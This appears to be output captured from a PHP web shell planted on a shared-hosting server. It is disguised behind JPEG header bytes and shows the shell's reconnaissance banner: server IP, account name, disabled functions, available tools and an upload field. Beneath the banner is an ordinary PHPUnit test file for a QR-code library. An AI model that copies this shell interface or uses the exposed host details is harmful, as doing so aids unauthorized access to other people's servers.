ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.63.213 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/simplesoftwareio/simple-qrcode/tests/ |
Upload File : |
<?php use Mockery as m; use PHPUnit\Framework\TestCase; use SimpleSoftwareIO\QrCode\BaconQrCodeGenerator; class BaconQrCodeGeneratorTest extends TestCase { public function tearDown() { if ($container = m::getContainer()) { $this->addToAssertionCount($container->mockery_getExpectationCount()); } m::close(); } public function setUp() { $this->writer = m::mock('\BaconQrCode\Writer'); $this->format = m::mock('\BaconQrCode\Renderer\Image\RendererInterface'); $this->qrCode = new BaconQrCodeGenerator($this->writer, $this->format); } public function test_it_sets_the_margin() { $this->format->shouldReceive('setMargin') ->with('50') ->once(); $this->writer->shouldReceive('getRenderer') ->once() ->andReturn($this->format); $this->qrCode->margin(50); } public function test_it_sets_the_background_color() { $this->format->shouldReceive('setBackgroundColor') ->once(); $this->writer->shouldReceive('getRenderer') ->once() ->andReturn($this->format); $this->qrCode->backgroundColor(255, 255, 255); } public function test_it_sets_the_foreground_color() { $this->format->shouldReceive('setForegroundColor') ->once(); $this->writer->shouldReceive('getRenderer') ->once() ->andReturn($this->format); $this->qrCode->color(255, 255, 255); } public function test_it_sets_the_size() { $this->format->shouldReceive('setHeight') ->with(50) ->once(); $this->format->shouldReceive('setWidth') ->with(50) ->once(); $this->writer->shouldReceive('getRenderer') ->twice() ->andReturn($this->format); $this->qrCode->size(50); } public function test_it_sets_a_png_format() { $this->writer->shouldReceive('setRenderer') ->with('BaconQrCode\Renderer\Image\Png') ->once(); $this->qrCode->format('png'); } public function test_it_sets_a_eps_format() { $this->writer->shouldReceive('setRenderer') ->with('BaconQrCode\Renderer\Image\Eps') ->once(); $this->qrCode->format('eps'); } public function test_it_sets_a_svg_format() { $this->writer->shouldReceive('setRenderer') ->with('BaconQrCode\Renderer\Image\Svg') ->once(); $this->qrCode->format('svg'); } /** * @expectedException \InvalidArgumentException */ public function test_it_throws_an_exception_with_an_invalid_format() { $this->qrCode->format('random'); } public function test_it_generates_a_string() { $this->writer->shouldReceive('writeString') ->with('qrCode', m::type('string'), m::type('int')) ->once(); $this->qrCode->generate('qrCode'); } public function test_it_calls_a_valid_dynamic_method_and_generates_a_qrcode() { $this->writer->shouldReceive('writeString') ->once(); $this->qrCode->phoneNumber('555-555-5555'); } /** * @expectedException \BadMethodCallException */ public function test_it_throws_an_exception_if_datatype_is_not_found() { $this->qrCode->notReal('foo'); } }